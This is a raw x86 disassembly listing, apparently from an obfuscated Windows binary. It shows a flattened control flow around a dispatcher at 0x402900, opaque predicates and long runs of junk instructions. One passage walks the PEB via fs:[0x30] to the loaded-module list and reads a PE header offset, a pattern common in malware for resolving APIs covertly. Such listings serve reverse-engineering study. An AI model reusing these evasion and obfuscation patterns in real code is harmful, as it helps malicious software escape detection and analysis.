mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov eax, 0x23814d00
jmp 0x402900
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x1e8]
vmovsd xmm0, qword [eax]
mov eax, 0x7e401665
vmovsd qword [ecx], xmm0
jmp 0x402900
mov eax, 0x6c288059
jmp 0x402900
mov eax, 0x4239070b
jmp 0x402900
mov eax, dword [0x460984]
mov esi, 0x7ef816e1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd02401
mov edx, eax
and edx, 0x62000036
and eax, 0x9d2fdbc8
or ecx, edx
xor ecx, 0xd02401
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x1b667a05
and edx, 0xfffffffe
and ecx, 0xe49985fa
or eax, ecx
xor eax, 0x1b667a04
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4b015c8b
and eax, 0xb0ce8310
and ecx, 0x4302064
or edx, ecx
xor edx, 0x4b015c8b
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9f2a3a84
and ecx, 0x60d5c57b
or eax, ecx
mov ecx, eax
xor ecx, 0x900a4029
xor eax, 0x2864a994
and ecx, 0x978a5029
and eax, 0x6875afd6
or eax, ecx
xor eax, 0x6875afd6
setne dl
sete ah
cmp dword [0x460980], 0xa
setge ch
mov al, ch
inc al
mov cl, al
and cl, ch
xor cl, 1
or cl, al
xor cl, 1
or cl, ch
mov ch, ah
and ch, cl
not cl
and cl, dl
xor dl, al
or al, ah
xor dl, 1
xor al, 1
or cl, ch
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x1cbf4117
cmovne eax, esi
test dl, 1
mov edx, 0x1cbf4117
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xa2011110
mov edx, eax
and edx, 0x5c3e6861
mov edi, eax
or edi, 0x280f4130
and eax, 0x3bade637
or esi, edx
and edi, 0x280fc7b8
mov edx, esi
xor edx, 0x82001000
xor esi, 0x80ec6a8
and esi, 0x280fc7b8
and edx, 0xd6303841
or edx, esi
mov esi, ecx
and esi, 0x1c00006
or esi, edi
xor esi, edx
mov edx, esi
not edx
and esi, 0x4bd0f1d8
and edx, 0xb42f0e27
or esi, edx
mov edx, esi
xor esi, 0xa006617
xor edx, 0xb5ef88a8
mov edi, edx
or edx, ecx
and ecx, 0xc45219c8
and edi, 0xc45219c8
and esi, 0x3bade637
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x53cb70b5
or edx, eax
mov eax, edx
not eax
and edx, 0xd418b62d
and eax, 0x2be749d2
or edx, eax
xor edx, 0xd418b62d
setne dl
sete ah
cmp dword [0x460980], 0xa
setge cl
setl ch
mov al, cl
and ch, dl
and cl, ah
xor al, ah
or cl, ch
and al, ah
mov edx, eax
xor al, cl
xor cl, 1
xor dl, 1
or cl, dl
mov edx, ecx
xor dl, al
mov edx, 0xfca1ff9a
cmovne edx, esi
test al, al
mov esi, 0xfca1ff9a
jmp 0x4126e7
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x848b043a
and edi, 0x7b74fbc4
and edx, 0x27204cfb
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xd8dfb304
mov ebx, esi
not ebx
and esi, 0x7b74fbc5
or eax, edx
or ecx, ebx
and ebx, 0x848b043a
mov edx, eax
xor edx, 0xd8dfb304
xor eax, 0x27204cfb
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, 0x12dfe1fe
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
cmp dword [0x460980], 0xa
mov ah, dl
mov ch, dl
setge al
inc ah
mov cl, al
and ch, ah
xor cl, ah
xor ch, 1
not cl
or ch, ah
or ah, al
and cl, al
xor ch, 1
xor cl, 1
or ch, dl
mov dh, cl
or cl, ah
xor ch, al
xor dh, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, dh
or al, ah
mov ah, cl
xor al, 1
xor ah, 1
or al, ch
mov edx, eax
xor dl, 1
and dl, ah
or ah, al
and al, cl
or al, dl
mov cl, ah
mov edx, 0x62739007
xor cl, al
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x62739007
jmp 0x413bff
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
mov ecx, eax
or ecx, 1
not esi
and eax, 0x9963c9c
mov edx, esi
and ecx, 0x22a8f811
and edx, 0xdd5707ee
or edx, ecx
mov ecx, esi
or ecx, 0x22a8f810
and esi, 0xf669c363
and ecx, 0x22a8f811
or eax, esi
xor ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xe3203509
and edx, 0x1cdfcaf6
or edx, esi
mov esi, eax
xor esi, 0x8960894
xor eax, 0xf669c363
or ecx, eax
and eax, 0xe3203509
and esi, 0x1cdfcaf6
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x53cb70b5
xor ecx, 0xffffffff
setne cl
sete ah
cmp dword [0x460980], 0xa
mov edx, ecx
setl ch
setge al
and cl, ch
and dl, al
and ch, ah
or ch, dl
mov dl, ch
xor dl, al
and al, ah
or al, cl
and dl, ch
mov ah, al
xor ah, 1
mov cl, ah
and cl, al
xor ah, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor cl, dl
xor al, 1
xor cl, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xa85f7cb8
cmovne edx, esi
test al, 1
mov eax, 0xa85f7cb8
cmovne eax, edx
jmp 0x4103a4
mov eax, 0x315340eb
jmp 0x402900
mov eax, dword [ebp - 0x44]
push 0x400
push dword [eax]
push dword [ebp - 0x170]
vzeroupper
call fcn.0042fd70
add esp, 0xc
imul eax
bswap eax
inc edx
rcr ebx, 0xa7
dec esi
rol esi, 0xd3
sub edi, 0x5d
rcr edi, 0x8e
inc edx
rol ebx, 0x80
or edx, 0x2f
neg edx
imul ebx
not eax
add edx, 0xe1
dec edi
not eax
bswap edi
or eax, 0xb6
ror esi, 0xc3
bswap eax
imul edx
add edx, 0x64
add edx, 0x6f
not edi
imul eax
sub edx, 0x85
and edx, 0x59
bswap edi
dec edx
inc ebx
rcr edi, 0x39
and edx, 0xa3
rcr edi, 0x4b
or edi, 0x93
neg ebx
sub eax, 0x64
rcr esi, 0x63
sub esi, 0x68
neg edx
add esi, 0x3f
and esi, 2
rcl ebx, 1
rol edx, 6
inc edx
add eax, 0x19
ror esi, 0x69
ror eax, 0xa1
dec edi
rcr edx, 0xfe
rcr edx, 0xe3
not eax
neg edx
mov ebx, 0x8c
inc edx
rcl esi, 0x72
add edx, 0x98
rcl ebx, 0xf5
neg edi
rol edx, 0xf9
not esi
imul esi
ror edx, 0xc3
rcr edx, 0xac
not edx
add esi, 0x16
imul eax
or ebx, 0xf1
dec esi
and edx, 0xdf
dec eax
and eax, 0x2a
or edi, 0x3c
sbb edi, 0x6f
neg edi
bswap eax
rol eax, 0x90
neg ebx
rcl edx, 0xe4
rol ebx, 0x83
dec esi
mov edx, 0x2c
rcr esi, 0x74
bswap esi
rol edi, 0x49
bswap ebx
neg edi
mov edx, 0x2b
rol edx, 0x10
dec esi
neg ebx
rcl eax, 0x82
rol eax, 0x4b
bswap ebx
sub ebx, 0x26
mov edx, 0x35
bswap esi
neg edx
add edi, 0x88
ror ebx, 0x9d
inc eax
bswap esi
neg ebx
dec eax
bswap ebx
and edx, 0xb5
bswap esi
neg eax
rol ebx, 0x75
or esi, 0xca
add esi, 0x8b
imul eax
neg esi
inc eax
bswap esi
ror eax, 0x4b
imul edx
bswap eax
rol ebx, 0x83
or ebx, 0xce
dec ebx
inc edi
not edi
mov eax, 0x92
sbb eax, 0x52
rol eax, 0xe0
rcl edi, 0xa8
rcr edi, 0x14
rol edi, 0x26
sbb ebx, 0xc9
rol edx, 0x52
not ebx
rcl edx, 0xa9
dec eax
or esi, 0x5e
bswap edx
rol esi, 0xf9
or eax, 0x76
rol ebx, 0x84
and esi, 0x5a
bswap edi
inc eax
neg esi
neg edi
bswap esi
or edi, 0xfc
mov esi, 0x4d
sub edx, 0x18
or eax, 0x2f
not edx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, 0xc2f5ecd6
jmp 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xfffffffe
not eax
mov esi, eax
and esi, 0xfffffffe
and ecx, edx
and eax, 0xd670a26a
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x98a3f7ac
and esi, 0x675c0853
or ecx, esi
mov esi, ecx
xor esi, 0x9020a228
xor ecx, 0x675c0853
mov edi, ecx
or ecx, edx
and edx, 0x298f5d95
and edi, 0x298f5d95
and esi, 0xd670a26a
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0xa042b270
or ecx, eax
cmp ecx, 0xffffffff
setne cl
cmp dword [0x460980], 0xa
setge dl
mov ah, dl
or ah, cl
xor cl, dl
mov edx, ecx
mov al, ah
and cl, ah
not al
xor dl, 1
and al, dl
or dl, ah
or al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x663687d0
cmovne ecx, esi
test dl, dl
mov edx, 0x663687d0
jmp 0x40fe77
mov eax, dword [ebp - 0xf0]
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x99432a3a
and edx, 0x66bcd5c5
mov esi, ecx
not esi
and ecx, 0xec11c1f1
or eax, edx
mov edx, eax
xor edx, 0x88010030
xor eax, 0x66bcd5c5
mov edi, eax
or eax, esi
and esi, 0x13ee3e0e
and edi, 0x13ee3e0e
and edx, 0xec11c1f1
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0x100609c1
mov ecx, eax
mov esi, eax
not esi
or ecx, 0xeff9f63e
and edx, eax
mov edi, ecx
and edi, 0x742afb12
and esi, 0x400c1
and eax, 0xfffffffe
mov ebx, edx
not ebx
and edx, 0x8bd504ed
or esi, edi
or ecx, ebx
and ebx, 0x742afb12
or edx, ebx
not ecx
xor edx, esi
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x100609c0
and edx, 0xeff9f63f
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5dcf7d96
and ecx, 0xa2308269
or eax, ecx
mov ecx, eax
xor ecx, 0xa2000001
xor eax, 0x48475912
and eax, 0x4877db7a
and ecx, 0xb7882485
or ecx, eax
cmp ecx, 0xb7882485
setne al
cmp dword [0x460980], 0xa
setl cl
setge dl
xor cl, al
or dl, al
mov ch, cl
or cl, dl
xor ch, dl
mov edx, 0x72f8b19f
mov al, ch
xor al, cl
mov eax, 0x454a6d11
cmovne edx, eax
test cl, cl
mov eax, 0x72f8b19f
cmovne eax, edx
test ch, ch
cmove eax, edx
jmp 0x402900
mov eax, dword [ebp - 0xcc]
mov eax, 0x4e2ab49c
jmp 0x402900
inc esi
inc edi
imul eax
neg esi
sub eax, 0x22
sub edx, 0x13
inc eax
bswap eax
not esi
not edi
or edx, 0xd6
bswap edi
and ebx, 0x28
rcl ebx, 0x47
imul eax
sbb esi, 0x5b
neg esi
rcl esi, 6
bswap edi
imul edi
imul esi
not ebx
sbb edi, 0x49
rcl edx, 0x8d
add eax, 0xe3
not edx
rol edx, 0x59
and edx, 0xde
bswap edx
inc eax
sub edx, 0x41
ror ebx, 0x42
inc esi
or esi, 0x7a
sub esi, 0x82
ror esi, 0x71
rcr ebx, 0xa1
inc edx
neg ebx
rol ebx, 8
bswap ebx
neg edx
ror ebx, 0x18
rcr edx, 0x85
bswap edx
bswap edi
sbb edx, 0x25
rcr esi, 0x4d
not edx
rcr edx, 0xcc
bswap edx
rol eax, 0x4e
rol edx, 0x3e
inc edx
inc esi
dec esi
add eax, 0xad
bswap edx
rcl edi, 0x8e
neg edx
inc esi
rol ebx, 0x42
not edi
imul ebx
not edi
add eax, 0xba
neg esi
bswap ebx
not ebx
add esi, 0x35
not edx
sub eax, 0x37
add edx, 0x68
bswap ebx
mov esi, 0x52
inc eax
bswap edi
and edx, 0x8e
neg ebx
not edx
not edi
and edx, 0x6f
rcr edx, 0xc0
neg eax
imul eax
imul edi
ror edx, 0x6f
rcl edi, 0x6b
or eax, 0x9b
not edx
sbb ebx, 0x2c
dec edi
or edi, 0xe5
imul eax
add esi, 0xfe
rol edi, 0xd5
and eax, 0x9d
not eax
ror esi, 0x4f
dec eax
rol esi, 0xe3
inc edi
or eax, 0x10
mov esi, 0x5d
inc ebx
rol ebx, 0x81
add eax, 0xe7
neg ebx
not ebx
rol ebx, 8
neg edx
rcr edx, 0x67
inc eax
mov edx, 0x44
mov esi, 0x94
rol edi, 0xe7
rcr eax, 0x45
neg esi
add eax, 0x30
sbb esi, 0xb4
sbb edi, 0xa6
and esi, 0x72
imul esi
bswap esi
or eax, 0xf
ror eax, 0x9d
bswap edx
mov esi, 0x28
not ebx
ror edi, 0x14
ror esi, 0x47
or eax, 0xfd
neg esi
dec esi
rcr eax, 0x2f
ror edi, 0xa2
and edx, 0xa1
rcr edi, 0x4a
bswap esi
sub edx, 0x44
sub ebx, 0x35
ror esi, 0x2d
ror ebx, 0x6a
bswap eax
inc ebx
rcl ebx, 0xfe
dec edx
add edi, 4
inc eax
dec edi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x84]
add eax, 0xfffffff8
mov dword [ecx], eax
rcr edi, 0x42
neg esi
rol esi, 0x31
ror edi, 0x80
bswap esi
inc eax
rol eax, 0x24
rol edi, 0x12
rcr esi, 0xee
dec edi
mov eax, 0x27
bswap edx
not ebx
dec esi
inc edx
neg edx
sub edx, 0x1c
rcl edx, 0x87
add eax, 0x82
and edx, 0x9b
not eax
mov edx, 0x82
and eax, 0xd4
rol edx, 0x8c
neg esi
not edi
dec edx
rol edx, 0x48
rcl eax, 9
rol edx, 0x5f
add edx, 0xf7
rol ebx, 0x5e
not eax
not edi
or ebx, 0x45
sub edi, 0x38
dec eax
and edi, 0x37
bswap edi
and edi, 0xaa
not ebx
not ebx
not ebx
bswap edx
sbb eax, 0xe8
bswap eax
rcl ebx, 0x64
and edx, 0x4e
dec esi
bswap eax
or edi, 0xa9
neg eax
inc eax
bswap ebx
mov edx, 0xed
ror eax, 0xcf
rcl edi, 0x3b
bswap edi
dec edx
dec ebx
and edx, 0xd1
ror edx, 0x7a
inc edi
dec eax
imul edx
bswap esi
not esi
rcr eax, 0x27
neg eax
and edi, 0x1a
inc ebx
inc eax
mov edx, 0x57
ror ebx, 0x96
or edx, 0xcb
inc edx
mov edi, 0x53
ror edi, 0xe4
sbb ebx, 0xa8
neg esi
rcl esi, 0x32
rcl esi, 0xcf
mov edi, 0x4d
not ebx
not edx
and edx, 0x47
or ebx, 0x95
and ebx, 0x82
ror edx, 0x58
rol eax, 0x87
neg edx
rcr edi, 0xce
dec edx
ror esi, 0x4c
bswap esi
sub eax, 0xb4
inc esi
neg esi
or ebx, 0xb8
dec eax
rcl edx, 0x9a
neg esi
rcr edi, 0x8e
dec esi
dec ebx
or edx, 0x5e
imul edi
dec eax
rcr edx, 0x81
not eax
rcl edx, 0x84
not eax
dec edi
and eax, 0xfc
ror ebx, 0xb5
imul ebx
and edx, 0x8e
sub edi, 0x5e
rcr edx, 0xa3
inc esi
rol edi, 0x9d
bswap ebx
dec esi
inc ebx
add edx, 0xd4
rcl ebx, 0xdc
rcl eax, 0x74
neg ebx
rcr eax, 0x2d
not eax
neg esi
bswap esi
imul edx
rcr ebx, 0xde
sub eax, 0xeb
sub edi, 0xb1
not edi
rcl esi, 0x39
rcr edx, 0xe3
bswap ebx
add esi, 0xa8
add edi, 0x35
bswap esi
dec eax
inc edx
rcl ebx, 0xb9
imul edx
rol edi, 0x6e
mov edx, 0x57
neg esi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov dword [ebp - 0x1e4], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x8ab43732
mov esi, eax
and esi, 0x754bc8cd
mov edi, eax
or edi, 0x6800210
and eax, 0xcf6a88e3
or edx, esi
and edi, 0x46a90a18
mov esi, edx
xor edx, 0x4000000
xor esi, 0x8140100
or edx, 0x40290808
and esi, 0x29544180
and edx, 0x46a90a18
or esi, edx
mov edx, ecx
and edx, 0x9002b467
and ecx, 0x3095771c
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0x8d6a3e5a
and esi, 0x7295c1a5
or edx, esi
mov esi, edx
xor esi, 0x822a08c3
xor edx, 0x5d418234
mov edi, edx
and edi, 0x3095771c
and esi, 0xcf6a88e3
or esi, edi
xor eax, esi
mov esi, 0x3325a020
xor edx, eax
test edx, eax
sete dl
setne cl
cmp dword [0x460980], 0xa
setge al
mov ah, al
xor ah, cl
or cl, al
or al, dl
and ah, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xfc6f1456
mov al, ah
xor al, dl
jmp 0x411b59
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x5f5caa12
and ecx, 0xc0c18eca
mov esi, edx
and esi, 0xa0a355ed
and edx, 0x3f3e7135
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0xa0a355ec
and esi, 0x5f5caa13
or eax, esi
mov esi, eax
not esi
and eax, 0x58b9f3af
and esi, 0xa7460c50
or eax, esi
mov esi, eax
xor esi, 0x58984183
xor eax, 0xa7460c50
mov edx, eax
and edx, 0xa023ba6c
and esi, 0x5fdc4593
or esi, edx
mov edx, ecx
xor edx, 0x40c00482
xor ecx, 0x3f3e7135
or eax, ecx
and ecx, 0xa023ba6c
and edx, 0x5fdc4593
or edx, ecx
not eax
xor edx, esi
mov esi, 0xd2fb29b4
or eax, edx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x460980], 0xa
mov dh, ch
mov cl, ah
setge al
setl dl
or dh, al
xor cl, al
xor dh, 1
and cl, al
or cl, dh
mov dh, dl
xor dl, ch
and ch, al
or al, ah
xor al, 1
and dh, ah
or al, dl
or dh, ch
mov dl, cl
xor al, 1
xor dl, 1
or al, dh
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x7b1b5389
cmovne ecx, esi
test al, 1
mov esi, 0x7b1b5389
jmp 0x411dcc
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xf856ebed
mov edi, edx
mov esi, ecx
and esi, 0x12789a66
and edi, 0x5810410
and edx, 0xd5a01091
or edi, esi
mov esi, eax
xor esi, 0x7a91412
and esi, eax
and eax, 0x2a5fef6e
mov ebx, esi
not ebx
and esi, 0xed876599
or eax, edx
or ecx, ebx
and ebx, 0x12789a66
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xe30df0d9
and esi, 0x1cf20f26
or ecx, esi
mov esi, ecx
xor esi, 0x808000c8
xor ecx, 0x1b5b1b35
mov edx, ecx
and edx, 0x767ce732
and esi, 0x898318cd
or esi, edx
mov edx, eax
xor edx, 0x803084c
xor eax, 0x54200010
and eax, 0x767ce732
and edx, 0x898318cd
or edx, eax
xor edx, esi
mov esi, 0xb9e3aa5f
xor ecx, edx
test ecx, edx
setne ah
sete dl
cmp dword [0x460980], 0xa
setl al
setge ch
mov cl, al
and ch, dl
or dl, al
xor al, ah
and cl, ah
mov ah, dl
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
mov ah, al
and ah, cl
xor dl, 1
xor cl, 1
and dl, cl
or cl, al
or dl, ah
mov ch, cl
mov eax, 0x565ed7dd
xor ch, dl
test cl, cl
cmovne eax, esi
test dl, dl
mov edx, 0x565ed7dd
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x402900
mov eax, 0xcdf2d7ed
jmp 0x402900
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, 0xabe7b940
jmp 0x402900
cmp byte [ebp - 0x9d], 0
mov eax, 0x2b83a878
mov ecx, 0x8590f9e5
cmovne eax, ecx
jmp 0x402900
add edx, 0xcb
imul eax
imul edi
dec edi
rcr edi, 0x8c
neg eax
rcr esi, 0xc7
mov esi, 0xde
imul eax
imul edi
neg esi
rcr edx, 0xfb
rol edi, 0x55
rol eax, 0x61
imul edi
bswap eax
rcr edx, 0x47
rol edi, 0x6e
inc eax
inc ebx
or esi, 0x45
bswap edx
inc eax
dec ebx
imul edx
or eax, 0x4b
rcl eax, 0x3a
add edx, 0xee
neg ebx
inc edi
ror esi, 0xb8
not ebx
bswap edi
bswap edx
not edx
ror esi, 0x88
sub edx, 0x3d
add ebx, 0xb0
mov edi, 8
not eax
inc eax
rcr ebx, 0xa3
bswap eax
rcl ebx, 0xdd
not edx
neg eax
sbb eax, 0xe7
imul ebx
imul edi
dec edx
rol eax, 0xfe
bswap eax
ror eax, 0x1d
bswap ebx
inc edx
or edx, 0xc5
inc ebx
not eax
rcr eax, 0xe
sbb esi, 0x16
neg esi
mov edi, 0x93
inc esi
inc ebx
inc esi
not esi
sbb eax, 0x93
inc eax
not ebx
imul edx
sub ebx, 0x60
mov eax, 8
imul eax
rcr edx, 0xc0
inc eax
dec ebx
dec eax
add edx, 0xbe
rol ebx, 0x3e
mov esi, 2
inc edi
neg edx
mov eax, 0x7e
or edx, 0xe0
ror edx, 0x37
ror edx, 0x77
mov eax, 0x6e
neg esi
bswap ebx
neg edi
add edi, 0xbc
rcr eax, 0xae
add eax, 0xcb
sbb esi, 0xca
ror edx, 0x28
mov edx, 0xd6
inc ebx
dec edx
imul eax
imul eax
mov ebx, 0xe6
imul eax
sbb edi, 0x54
neg edx
rcr edi, 0xe
dec eax
imul edi
rcr edx, 0x56
dec ebx
sbb ebx, 0xcf
neg edx
bswap eax
bswap ebx
and eax, 0x6f
dec edx
neg esi
inc eax
and ebx, 0xee
imul eax
add eax, 0x21
inc ebx
ror eax, 0x74
rcr eax, 0xa8
rcr edx, 0xf5
neg ebx
rcr esi, 0xb
bswap edx
rol esi, 0x53
ror ebx, 0x91
bswap edx
ror eax, 0x6d
imul esi
mov edi, 0x57
sbb edx, 0xb9
bswap edi
imul esi
rcr esi, 0x50
add ebx, 0x11
dec edi
rol ebx, 0xc
not esi
sub ebx, 0x2b
inc edi
mov edx, 0xe4
imul esi
inc ebx
not edx
imul edx
add esi, 0xa
and esi, 0xa0
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, 0xed297aaf
jmp 0x402900
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
add eax, dword [ecx]
mov dword [ebp - 0x184], eax
mov eax, 0xfe3d4f10
jmp 0x402900
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, 0x565ed7dd
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x23c1008
mov esi, edx
and esi, 0x608040c2
mov edi, edx
or edi, 0x42104088
and edx, 0xdf56f9ea
or ecx, esi
and edi, 0xca5061b8
mov esi, ecx
xor esi, 0x2c1000
xor ecx, 0xc84061b0
and ecx, 0xca5061b8
and esi, 0x20ac1042
or esi, ecx
mov ecx, eax
and ecx, 0x15038e05
and eax, 0x20a90615
or ecx, edi
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0x62bc50cb
and esi, 0x9d43af34
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x8bfe1e81
and esi, 0x7401e17e
or ecx, esi
mov esi, ecx
xor esi, 0xb301800
xor ecx, 0x7401e17e
mov edx, ecx
and edx, 0xb4cf268f
and esi, 0x4b30d970
or esi, edx
mov edx, eax
xor edx, 0x200010
xor eax, 0xdf56f9ea
or ecx, eax
and eax, 0xb4cf268f
and edx, 0x4b30d970
or edx, eax
not ecx
xor edx, esi
mov esi, 0x5e88cec1
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe982b726
and eax, 0x167d48d9
or ecx, eax
cmp ecx, 0xe982b726
setne al
cmp dword [0x460980], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
xor dl, 1
mov eax, edx
or dl, cl
xor al, cl
mov ah, dl
xor ah, al
test dl, dl
mov edx, 0x52f4da25
cmovne edx, esi
test al, al
cmove edx, esi
test ah, ah
mov eax, 0x52f4da25
jmp 0x412b78
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0xa5e5dacd
mov edi, edx
mov esi, eax
and esi, 0x450659f7
and edi, 0x1a182400
and edx, 0xc6c3fc36
or edi, esi
mov esi, ecx
xor esi, 0x5a1a2532
and esi, ecx
and ecx, 0x393c03c9
mov ebx, esi
not ebx
and esi, 0xbaf9a608
or ecx, edx
or eax, ebx
and ebx, 0x450659f7
or esi, ebx
not eax
xor esi, edi
or eax, esi
not esi
and esi, 0xa5e5dacc
and eax, 0x5a1a2533
or eax, esi
mov esi, eax
not esi
and eax, 0xf72913c
and esi, 0xf08d6ec3
or eax, esi
mov esi, eax
xor esi, 0x9320008
xor eax, 0xf08d6ec3
mov edx, eax
and edx, 0x26449f76
and esi, 0xd9bb6089
or esi, edx
mov edx, ecx
xor edx, 0x19380089
xor ecx, 0xc6c3fc36
or eax, ecx
and ecx, 0x26449f76
and edx, 0xd9bb6089
or edx, ecx
not eax
xor edx, esi
mov esi, 0xe8432146
or eax, edx
mov ecx, eax
not ecx
and eax, 0xec157013
and ecx, 0x13ea8fec
or eax, ecx
xor eax, 0xec157013
setne ah
sete ch
cmp dword [0x460980], 0xa
setl dl
setge al
mov cl, dl
and dl, ah
xor cl, ch
and ch, al
or al, ah
xor al, 1
or dl, ch
or al, cl
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x32f2de7d
cmovne ecx, esi
test al, 1
mov eax, 0x32f2de7d
jmp 0x412955
mov eax, 0x83a81343
jmp 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x6d1a9324
mov esi, ecx
and esi, 0x92e56cda
and ecx, 0x664e1c30
or eax, esi
mov esi, eax
xor esi, 0x4c108224
xor eax, 0x92e56cdb
mov edi, eax
and edi, 0x216b3982
and esi, 0xde94c67c
or esi, edi
mov edi, edx
xor edi, 0xfffffffe
and edi, edx
mov ebx, edi
not ebx
and edi, 0xde94c67d
or eax, ebx
and ebx, 0x216b3982
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x99b1e3cf
and edi, 0x99b1e3cf
and esi, 0x664e1c30
or ecx, edx
not eax
or esi, edi
mov edi, 0xce378fca
xor ecx, esi
mov esi, 0xce378fca
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6861e380
and ecx, 0x979e1c7f
or eax, ecx
cmp eax, 0x6861e380
setne al
cmp dword [0x460980], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov ch, cl
xor dl, 1
or ch, dl
xor dl, cl
mov al, ch
xor al, dl
mov eax, 0x7a7176dd
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test ch, ch
cmovne eax, esi
jmp 0x402900
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, 0xfbdd84b7
jmp 0x402900
mov eax, dword [ebp - 0x60]
mov dword [eax], 2
mov eax, 0x3017a164
jmp 0x402900
